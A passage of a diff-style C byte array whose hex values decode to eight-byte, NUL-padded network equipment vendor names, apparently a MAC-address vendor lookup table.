0x74, 0x54, +0x4e, 0x65, 0x74, 0x6c, 0x69, 0x6e, 0x65, 0x00, +0x4d, 0x2d, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x43, 0x6c, 0x61, 0x72, 0x69, 0x6e, 0x65, 0x74, +0x41, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00, 0x00, +0x50, 0x61, 0x76, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x65, 0x78, 0x54, +0x4b, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x53, 0x65, +0x54, 0x6e, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x58, 0x69, 0x72, 0x63, 0x6f, 0x6d, 0x52, 0x65, +0x4f, 0x78, 0x66, 0x6f, 0x72, 0x64, 0x49, 0x6e, +0x52, 0x65, 0x6c, 0x69, 0x61, 0x6e, 0x63, 0x65, +0x41, 0x64, 0x68, 0x6f, 0x63, 0x54, 0x65, 0x63, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x34, 0x00, 0x00, +0x4b, 0x6f, 0x69, 0x74, 0x6f, 0x45, 0x6c, 0x65, +0x49, 0x6d, 0x63, 0x69, 0x54, 0x65, 0x63, 0x68, +0x53, 0x6f, 0x66, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x53, 0x68, 0x69, 0x6e, 0x6b, 0x6f, 0x45, 0x6c, +0x54, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x72, 0x69, 0x64, 0x69, 0x61, 0x6e, +0x46, 0x6f, 0x72, 0x2d, 0x41, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, +0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x4d, 0x75, 0x6c, +0x41, 0x74, 0x6d, 0x6f, 0x73, 0x70, 0x68, 0x65, +0x45, 0x6e, 0x74, 0x72, 0x61, 0x74, 0x61, 0x43, +0x43, 0x6f, 0x79, 0x6f, 0x74, 0x65, 0x54, 0x65, +0x49, 0x73, 0x68, 0x69, 0x67, 0x61, 0x6b, 0x69, +0x4d, 0x61, 0x78, 0x74, 0x6f, 0x72, 0x00, 0x00, +0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x68, 0x6f, +0x44, 0x61, 0x74, 0x61, 0x49, 0x6e, 0x66, 0x6f, +0x41, 0x61, 0x73, 0x74, 0x72, 0x61, 0x54, 0x65, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x6d, +0x4d, 0x61, 0x72, 0x63, 0x68, 0x4e, 0x65, 0x74, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x69, 0x72, +0x41, 0x72, 0x6d, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x57, 0x69, 0x6c, 0x6c, 0x6e, 0x65, 0x74, 0x00, +0x43, 0x73, 0x69, 0x2d, 0x43, 0x6f, 0x6e, 0x74, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x47, 0x6c, 0x6f, +0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, +0x44, 0x61, 0x74, 0x61, 0x54, 0x72, 0x61, 0x6e, +0x46, 0x61, 0x63, 0x69, 0x74, 0x4b, 0x4b, 0x00, +0x43, 0x6c, 0x70, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x56, 0x6f, 0x6c, 0x61, 0x6d, 0x70, 0x00, 0x00, +0x46, 0x69, 0x62, 0x65, 0x72, 0x6c, 0x61, 0x6e, +0x57, 0x69, 0x74, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x54, 0x6f, 0x70, 0x4c, 0x61, 0x79, 0x65, 0x72, +0x4e, 0x69, 0x74, 0x74, 0x6f, 0x54, 0x73, 0x75, +0x47, 0x72, 0x69, 0x70, 0x73, 0x45, 0x6c, 0x65, +0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x43, +0x49, 0x6d, 0x61, 0x73, 0x64, 0x65, 0x43, 0x61, +0x45, 0x78, 0x65, 0x6c, 0x69, 0x73, 0x00, 0x00, +0x41, 0x72, 0x67, 0x6f, 0x73, 0x79, 0x45, 0x6e, +0x43, 0x61, 0x6c, 0x69, 0x73, 0x74, 0x61, 0x00, +0x49, 0x62, 0x6d, 0x4a, 0x61, 0x70, 0x61, 0x6e, +0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, +0x52, 0x69, 0x73, 0x65, 0x43, 0x6f, 0x6d, 0x70, +0x53, 0x49, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x41, 0x72, 0x72, 0x61, 0x79, 0x63, 0x6f, 0x6d, +0x4e, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x49, +0x54, 0x65, 0x6c, 0x6f, 0x63, 0x69, 0x74, 0x79, +0x52, 0x61, 0x69, 0x64, 0x74, 0x65, 0x63, 0x00, +0x41, 0x64, 0x65, 0x70, 0x74, 0x54, 0x65, 0x63, +0x53, 0x65, 0x6c, 0x73, 0x69, 0x75, 0x73, 0x00, +0x52, 0x70, 0x63, 0x67, 0x4c, 0x6c, 0x63, 0x00, +0x53, 0x75, 0x6e, 0x64, 0x61, 0x6e, 0x63, 0x65, +0x43, 0x74, 0x69, 0x50, 0x72, 0x6f, 0x64, 0x75, +0x44, 0x62, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x52, 0x69, 0x74, 0x74, 0x61, 0x6c, 0x2d, 0x57, +0x49, 0x2d, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x63, 0x6f, 0x6d, 0x49, 0x6e, +0x56, 0x65, 0x72, 0x74, 0x69, 0x63, 0x61, 0x6c, +0x41, 0x6d, 0x68, 0x65, 0x72, 0x73, 0x74, 0x00, +0x49, 0x72, 0x69, 0x69, 0x63, 0x68, 0x69, 0x54, +0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x00, 0x00, +0x5a, 0x69, 0x64, 0x61, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x43, 0x65, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x75, 0x72, 0x6f, 0x72, 0x61, 0x4d, 0x75, +0x4b, 0x61, 0x77, 0x61, 0x6d, 0x75, 0x72, 0x61, +0x54, 0x65, 0x6c, 0x65, 0x78, 0x79, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x70, 0x6c, 0x75, 0x73, 0x54, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x4e, +0x52, 0x67, 0x62, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x4f, 0x72, 0x62, 0x69, 0x74, 0x61, 0x6c, 0x44, +0x46, 0x72, 0x61, 0x6e, 0x6b, 0x6c, 0x69, 0x6e, +0x41, 0x74, 0x6d, 0x61, 0x72, 0x6b, 0x54, 0x65, +0x53, 0x61, 0x6e, 0x62, 0x6c, 0x61, 0x7a, 0x65, +0x54, 0x73, 0x75, 0x72, 0x75, 0x73, 0x61, 0x6b, +0x4e, 0x65, 0x74, 0x70, 0x6c, 0x61, 0x74, 0x00, +0x4d, 0x61, 0x78, 0x61, 0x6e, 0x6e, 0x61, 0x54, +0x46, 0x72, 0x61, 0x75, 0x6e, 0x68, 0x6f, 0x66, +0x45, 0x76, 0x65, 0x72, 0x66, 0x6f, 0x63, 0x75, +0x45, 0x70, 0x69, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x74, 0x65, 0x61, 0x75, 0x56, 0x65, +0x43, 0x65, 0x73, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x42, 0x6c, 0x78, 0x49, 0x63, 0x44, 0x65, 0x73, +0x53, 0x6f, 0x6c, 0x74, 0x65, 0x72, 0x61, 0x73, +0x54, 0x61, 0x72, 0x67, 0x61, 0x44, 0x69, 0x76, +0x50, 0x6c, 0x65, 0x6f, 0x72, 0x61, 0x54, 0x65, +0x48, 0x65, 0x63, 0x74, 0x72, 0x69, 0x78, 0x00, +0x45, 0x74, 0x68, 0x65, 0x72, 0x6e, 0x65, 0x74, +0x44, 0x6f, 0x72, 0x65, 0x6d, 0x69, 0x4c, 0x61, +0x43, 0x69, 0x6d, 0x73, 0x79, 0x73, 0x00, 0x00, +0x41, 0x70, 0x70, 0x6f, 0x69, 0x6e, 0x74, 0x65, +0x56, 0x65, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x00, +0x54, 0x61, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x69, 0x74, +0x50, 0x61, 0x72, 0x61, 0x64, 0x69, 0x73, 0x65, +0x4e, 0x69, 0x6b, 0x6f, 0x4e, 0x76, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x6d, 0x6f, 0x64, 0x75, 0x6c, +0x49, 0x7a, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x70, 0x75, 0x6c, 0x73, 0x65, 0x00, 0x00, +0x43, 0x65, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x55, 0x6e, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00, +0x53, 0x79, 0x6e, 0x6f, 0x6c, 0x6f, 0x67, 0x79, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x63, 0x65, 0x6c, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x65, 0x79, 0x65, +0x47, 0x6f, 0x6f, 0x64, 0x72, 0x69, 0x63, 0x68, +0x41, 0x69, 0x63, 0x68, 0x69, 0x45, 0x6c, 0x65, +0x54, 0x61, 0x69, 0x73, 0x68, 0x69, 0x6e, 0x00, +0x53, 0x74, 0x6f, 0x65, 0x62, 0x65, 0x72, 0x41, +0x53, 0x68, 0x69, 0x6e, 0x62, 0x6f, 0x72, 0x61, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x65, 0x74, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x61, 0x73, +0x4b, 0x6e, 0x53, 0x6f, 0x6c, 0x74, 0x65, 0x63, +0x4a, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x44, +0x4e, 0x61, 0x6e, 0x6f, 0x6d, 0x65, 0x74, 0x72, +0x47, 0x6f, 0x6f, 0x64, 0x6d, 0x61, 0x6e, 0x00, +0x45, 0x2d, 0x53, 0x6d, 0x61, 0x72, 0x74, 0x63, +0x41, 0x73, 0x73, 0x75, 0x72, 0x61, 0x6e, 0x63, +0x56, 0x61, 0x6c, 0x75, 0x65, 0x70, 0x6f, 0x69, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x61, 0x72, 0x64, +0x53, 0x65, 0x63, 0x6f, 0x6d, 0x2d, 0x49, 0x6e, +0x50, 0x72, 0x6f, 0x6c, 0x6f, 0x6e, 0x43, 0x6f, +0x50, 0x72, 0x6f, 0x6c, 0x69, 0x70, 0x68, 0x69, +0x4b, 0x61, 0x79, 0x61, 0x62, 0x61, 0x49, 0x6e, +0x46, 0x72, 0x61, 0x6e, 0x63, 0x6f, 0x74, 0x79, +0x43, 0x61, 0x66, 0x66, 0x65, 0x69, 0x6e, 0x61, +0x41, 0x74, 0x73, 0x75, 0x6d, 0x69, 0x45, 0x6c, +0x36, 0x39, 0x30, 0x38, 0x38, 0x35, 0x4f, 0x6e, +0x55, 0x73, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61, +0x42, 0x65, 0x6c, 0x6b, 0x69, 0x6e, 0x00, 0x00, +0x4d, 0x79, 0x6b, 0x6f, 0x74, 0x72, 0x6f, 0x6e, +0x45, 0x69, 0x64, 0x73, 0x76, 0x6f, 0x6c, 0x6c, +0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x54, +0x57, 0x65, 0x62, 0x70, 0x72, 0x6f, 0x54, 0x65, +0x53, 0x65, 0x76, 0x69, 0x73, 0x00, 0x00, 0x00, +0x50, 0x68, 0x61, 0x72, 0x6f, 0x73, 0x4e, 0x7a, +0x4f, 0x6b, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4d, 0x61, 0x74, 0x69, 0x73, 0x73, 0x65, 0x4e, +0x49, 0x76, 0x6f, 0x63, 0x6c, 0x61, 0x72, 0x56, +0x50, 0x72, 0x6f, 0x6d, 0x69, 0x6e, 0x65, 0x6e, +0x49, 0x74, 0x78, 0x53, 0x65, 0x63, 0x75, 0x72, +0x41, 0x72, 0x74, 0x64, 0x69, 0x6f, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x73, 0x74, 0x72, 0x65, 0x61, +0x53, 0x74, 0x61, 0x72, 0x4d, 0x69, 0x63, 0x72, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x44, 0x65, +0x41, 0x63, 0x61, 0x72, 0x64, 0x54, 0x65, 0x63, +0x5a, 0x6e, 0x79, 0x78, 0x4e, 0x65, 0x74, 0x77, +0x54, 0x61, 0x65, 0x6c, 0x69, 0x6d, 0x45, 0x6c, +0x48, 0x6f, 0x6d, 0x65, 0x6c, 0x6f, 0x67, 0x69, +0x45, 0x6d, 0x73, 0x53, 0x61, 0x74, 0x63, 0x6f, +0x44, 0x6f, 0x6d, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x6e, 0x77, 0x61, 0x6e, 0x67, 0x4d, +0x50, 0x65, 0x70, 0x6c, 0x69, 0x6e, 0x6b, 0x49, +0x4e, 0x65, 0x74, 0x66, 0x6f, 0x72, 0x79, 0x6f, +0x47, 0x73, 0x63, 0x53, 0x72, 0x6c, 0x00, 0x00, +0x44, 0x65, 0x78, 0x74, 0x65, 0x72, 0x43, 0x6f, +0x43, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x53, 0x74, 0x6f, +0x4d, 0x6f, 0x6a, 0x6f, 0x4e, 0x65, 0x74, 0x77, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x61, 0x6d, +0x43, 0x6f, 0x61, 0x78, 0x69, 0x61, 0x6c, 0x4e, +0x43, 0x68, 0x69, 0x72, 0x6f, 0x6e, 0x54, 0x65, +0x53, 0x69, 0x6e, 0x67, 0x75, 0x6c, 0x61, 0x72, +0x53, 0x69, 0x6e, 0x67, 0x69, 0x6d, 0x49, 0x6e, +0x42, 0x63, 0x68, 0x69, 0x4c, 0x61, 0x62, 0x00, +0x45, 0x2d, 0x5a, 0x79, 0x4e, 0x65, 0x74, 0x00, +0x5a, 0x6d, 0x64, 0x41, 0x6d, 0x65, 0x72, 0x69, +0x4d, 0x69, 0x64, 0x6d, 0x61, 0x72, 0x6b, 0x00, +0x4e, 0x65, 0x6f, 0x74, 0x75, 0x6e, 0x65, 0x49, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x6e, 0x65, +0x49, 0x6d, 0x69, 0x4e, 0x6f, 0x72, 0x67, 0x72, +0x48, 0x75, 0x6d, 0x6f, 0x4c, 0x61, 0x62, 0x6f, +0x50, 0x72, 0x69, 0x6d, 0x65, 0x00, 0x00, 0x00, +0x43, 0x61, 0x74, 0x65, 0x67, 0x6f, 0x72, 0x79, +0x41, 0x65, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x56, 0x69, 0x65, 0x77, 0x74, 0x72, 0x61, 0x6e, +0x48, 0x61, 0x6e, 0x63, 0x68, 0x61, 0x6e, 0x67, +0x48, 0x61, 0x6c, 0x79, 0x74, 0x65, 0x63, 0x68, +0x45, 0x75, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e, +0x43, 0x74, 0x73, 0x2d, 0x43, 0x6c, 0x69, 0x6d, +0x43, 0x68, 0x69, 0x4d, 0x65, 0x69, 0x43, 0x6f, +0x41, 0x63, 0x74, 0x75, 0x61, 0x6c, 0x69, 0x74, +0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, +0x50, 0x72, 0x69, 0x73, 0x6d, 0x4d, 0x65, 0x64, +0x32, 0x77, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x6b, 0x65, 0x72, 0x69, 0x61, 0x53, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x79, 0x6e, 0x65, +0x45, 0x70, 0x26, 0x54, 0x45, 0x6e, 0x65, 0x72, +0x44, 0x69, 0x67, 0x69, 0x6e, 0x66, 0x6f, 0x54, +0x56, 0x74, 0x65, 0x63, 0x68, 0x45, 0x6e, 0x67, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x4e, 0x65, +0x4c, 0x61, 0x6e, 0x72, 0x65, 0x61, 0x64, 0x79, +0x4a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x54, +0x46, 0x6f, 0x72, 0x74, 0x75, 0x6e, 0x61, 0x45, +0x53, 0x79, 0x70, 0x69, 0x78, 0x78, 0x4e, 0x65, +0x49, 0x6e, 0x66, 0x69, 0x6c, 0x63, 0x6f, 0x44, +0x4d, 0x6f, 0x69, 0x6d, 0x73, 0x74, 0x6f, 0x6e, +0x55, 0x6e, 0x69, 0x63, 0x6c, 0x61, 0x73, 0x73, +0x54, 0x72, 0x75, 0x73, 0x74, 0x61, 0x62, 0x6c, +0x53, 0x69, 0x6d, 0x74, 0x65, 0x63, 0x45, 0x6c, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x6c, 0x69, 0x6e, +0x46, 0x6f, 0x72, 0x74, 0x65, 0x6c, 0x69, 0x6e, +0x42, 0x6c, 0x75, 0x65, 0x65, 0x78, 0x70, 0x65, +0x32, 0x30, 0x30, 0x31, 0x54, 0x65, 0x63, 0x68, +0x59, 0x6f, 0x73, 0x68, 0x69, 0x6d, 0x69, 0x79, +0x4f, 0x70, 0x65, 0x6e, 0x49, 0x6e, 0x74, 0x65, +0x4f, 0x63, 0x74, 0x61, 0x6c, 0x69, 0x78, 0x42, +0x4c, 0x69, 0x65, 0x62, 0x68, 0x65, 0x72, 0x72, +0x49, 0x6e, 0x6e, 0x65, 0x72, 0x52, 0x61, 0x6e, +0x45, 0x6c, 0x65, 0x78, 0x6f, 0x6c, 0x50, 0x74, +0x42, 0x6f, 0x6d, 0x62, 0x61, 0x72, 0x64, 0x69, +0x41, 0x67, 0x70, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x41, 0x65, 0x73, 0x79, 0x73, 0x53, 0x50, 0x41, +0x41, 0x64, 0x61, 0x79, 0x54, 0x65, 0x63, 0x68, +0x34, 0x70, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x46, 0x69, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x65, 0x69, +0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x6c, +0x54, 0x65, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x52, 0x61, 0x79, 0x6d, 0x61, 0x72, 0x69, 0x6e, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x63, 0x6f, 0x6d, +0x4d, 0x74, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x6f, 0x6e, 0x67, 0x52, 0x61, 0x6e, 0x67, +0x4a, 0x61, 0x63, 0x6f, 0x62, 0x73, 0x6f, 0x6e, +0x41, 0x78, 0x73, 0x75, 0x6e, 0x54, 0x65, 0x63, +0x55, 0x62, 0x69, 0x73, 0x65, 0x6e, 0x73, 0x65, +0x54, 0x68, 0x72, 0x61, 0x6e, 0x65, 0x54, 0x68, +0x54, 0x61, 0x6e, 0x64, 0x62, 0x65, 0x72, 0x67, +0x53, 0x6f, 0x66, 0x74, 0x49, 0x6d, 0x61, 0x67, +0x50, 0x65, 0x72, 0x63, 0x65, 0x70, 0x74, 0x69, +0x4e, 0x65, 0x78, 0x74, 0x67, 0x65, 0x6e, 0x74, +0x4e, 0x65, 0x74, 0x65, 0x6e, 0x72, 0x69, 0x63, +0x48, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x61, 0x00, +0x45, 0x77, 0x65, 0x72, 0x6b, 0x73, 0x00, 0x00, +0x54, 0x69, 0x76, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x76, 0x61, 0x61, 0x73, 0x54, 0x65, +0x4c, 0x61, 0x6e, 0x64, 0x2d, 0x43, 0x65, 0x6c, +0x47, 0x6c, 0x75, 0x6e, 0x7a, 0x4a, 0x65, 0x6e, +0x46, 0x72, 0x6f, 0x6d, 0x75, 0x73, 0x54, 0x65, +0x45, 0x75, 0x72, 0x69, 0x6c, 0x6f, 0x67, 0x69, +0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x45, +0x55, 0x2d, 0x4d, 0x65, 0x64, 0x69, 0x61, 0x43, +0x41, 0x72, 0x63, 0x65, 0x6c, 0x69, 0x6b, 0x41, +0x48, 0x75, 0x61, 0x4a, 0x75, 0x6e, 0x67, 0x43, +0x44, 0x61, 0x6e, 0x65, 0x6c, 0x65, 0x63, 0x45, +0x4b, 0x63, 0x6f, 0x64, 0x65, 0x73, 0x00, 0x00, +0x57, 0x6f, 0x72, 0x6c, 0x64, 0x73, 0x61, 0x74, +0x54, 0x69, 0x78, 0x69, 0x43, 0x6f, 0x6d, 0x00, +0x53, 0x74, 0x61, 0x72, 0x6e, 0x65, 0x78, 0x00, +0x49, 0x77, 0x69, 0x63, 0x73, 0x00, 0x00, 0x00, +0x41, 0x76, 0x69, 0x78, 0x00, 0x00, 0x00, 0x00, +0x38, 0x30, 0x32, 0x47, 0x6c, 0x6f, 0x62, 0x61, +0x45, 0x73, 0x74, 0x61, 0x72, 0x69, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x44, +0x57, 0x69, 0x64, 0x65, 0x66, 0x75, 0x6c, 0x00, +0x51, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x71, 0x00, +0x49, 0x6e, 0x73, 0x74, 0x69, 0x74, 0x75, 0x74, +0x4e, 0x65, 0x6f, 0x6d, 0x65, 0x64, 0x69, 0x61, +0x57, 0x6f, 0x6f, 0x72, 0x69, 0x2d, 0x4e, 0x65, +0x41, 0x73, 0x6b, 0x65, 0x79, 0x43, 0x6f, 0x6d, +0x41, 0x73, 0x69, 0x61, 0x50, 0x61, 0x63, 0x69, +0x41, 0x69, 0x72, 0x61, 0x79, 0x61, 0x00, 0x00, +0x52, 0x61, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x65, 0x69, 0x79, 0x6f, 0x53, 0x79, 0x73, +0x44, 0x69, 0x67, 0x69, 0x74, 0x72, 0x6f, 0x54, +0x44, 0x65, 0x63, 0x72, 0x61, 0x6e, 0x65, 0x41, +0x41, 0x63, 0x74, 0x69, 0x76, 0x6e, 0x65, 0x74, +0x55, 0x31, 0x30, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x54, 0x65, 0x72, 0x72, 0x61, 0x73, 0x61, 0x74, +0x49, 0x71, 0x75, 0x65, 0x73, 0x74, 0x4e, 0x7a, +0x48, 0x65, 0x61, 0x64, 0x53, 0x74, 0x72, 0x6f, +0x47, 0x61, 0x6e, 0x74, 0x6e, 0x65, 0x72, 0x49, +0x46, 0x61, 0x73, 0x74, 0x72, 0x61, 0x78, 0x00, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x73, 0x79, 0x73, +0x43, 0x65, 0x2d, 0x49, 0x6e, 0x66, 0x6f, 0x73, +0x41, 0x62, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x49, 0x65, 0x65, 0x65, 0x38, 0x30, 0x32, 0x33, +0x57, 0x69, 0x64, 0x65, 0x72, 0x61, 0x79, 0x00, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x6e, +0x50, 0x6c, 0x75, 0x73, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x74, 0x72, 0x6f, 0x68, 0x6d, 0x00, +0x4b, 0x6f, 0x65, 0x6e, 0x69, 0x67, 0x42, 0x61, +0x49, 0x73, 0x74, 0x6f, 0x72, 0x4e, 0x65, 0x74, +0x49, 0x63, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x41, 0x72, 0x75, 0x7a, 0x65, 0x00, 0x00, 0x00, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x44, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x53, 0x6f, +0x53, 0x6f, 0x75, 0x6e, 0x64, 0x44, 0x65, 0x76, +0x50, 0x61, 0x72, 0x72, 0x6f, 0x74, 0x53, 0x61, +0x4e, 0x65, 0x74, 0x66, 0x61, 0x62, 0x72, 0x69, +0x48, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x49, +0x43, 0x61, 0x64, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x42, 0x42, 0x72, 0x61, 0x75, 0x6e, 0x4d, 0x65, +0x53, 0x6b, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x55, +0x50, 0x69, 0x78, 0x69, 0x6d, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x71, 0x6c, 0x00, 0x00, 0x00, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x44, 0x69, 0x72, +0x44, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x65, 0x61, 0x73, +0x56, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x6c, +0x56, 0x69, 0x72, 0x62, 0x69, 0x61, 0x67, 0x65, +0x53, 0x6f, 0x65, 0x6e, 0x65, 0x6e, 0x43, 0x6f, +0x53, 0x69, 0x6e, 0x65, 0x74, 0x74, 0x00, 0x00, +0x53, 0x61, 0x6e, 0x65, 0x69, 0x45, 0x6c, 0x65, +0x50, 0x69, 0x63, 0x61, 0x73, 0x6f, 0x49, 0x6e, +0x4c, 0x65, 0x77, 0x69, 0x7a, 0x43, 0x6f, 0x6d, +0x4a, 0x72, 0x63, 0x54, 0x6f, 0x6b, 0x6b, 0x69, +0x43, 0x61, 0x6d, 0x69, 0x6c, 0x6c, 0x65, 0x42, +0x41, 0x6e, 0x64, 0x72, 0x65, 0x77, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x73, 0x65, 0x6e, 0x74, 0x72, +0x54, 0x65, 0x78, 0x61, 0x73, 0x49, 0x6e, 0x73, +0x53, 0x65, 0x74, 0x61, 0x62, 0x6f, 0x78, 0x54, +0x53, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x63, +0x4b, 0x65, 0x72, 0x6f, 0x41, 0x70, 0x73, 0x00, +0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x52, 0x75, +0x47, 0x65, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x72, 0x75, 0x6e, 0x65, 0x54, 0x65, 0x63, +0x41, 0x6d, 0x6f, 0x69, 0x45, 0x6c, 0x65, 0x63, +0x41, 0x32, 0x69, 0x4d, 0x61, 0x72, 0x6b, 0x65, +0x4d, 0x69, 0x6c, 0x6c, 0x65, 0x6e, 0x6e, 0x69, +0x5a, 0x65, 0x6c, 0x6c, 0x77, 0x65, 0x67, 0x65, +0x54, 0x4f, 0x4d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x44, 0x65, 0x64, 0x69, 0x63, 0x61, 0x74, 0x65, +0x42, 0x62, 0x77, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x64, 0x75, 0x63, 0x6f, 0x6e, 0x42, +0x58, 0x61, 0x63, 0x41, 0x75, 0x74, 0x6f, 0x6d, +0x50, 0x65, 0x6e, 0x74, 0x61, 0x69, 0x72, 0x54, +0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x41, 0x69, 0x72, +0x53, 0x69, 0x6c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x43, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x64, 0x65, 0x76, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x54, +0x4e, 0x65, 0x74, 0x65, 0x66, 0x66, 0x65, 0x63, +0x4c, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, +0x4c, 0x65, 0x61, 0x70, 0x63, 0x6f, 0x6d, 0x6d, +0x41, 0x63, 0x74, 0x69, 0x76, 0x69, 0x73, 0x50, +0x54, 0x68, 0x65, 0x72, 0x6d, 0x6f, 0x45, 0x6c, +0x4b, 0x61, 0x69, 0x6d, 0x65, 0x69, 0x45, 0x6c, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x48, 0x69, 0x6c, +0x43, 0x61, 0x65, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x41, 0x77, 0x69, 0x6e, 0x64, 0x00, 0x00, 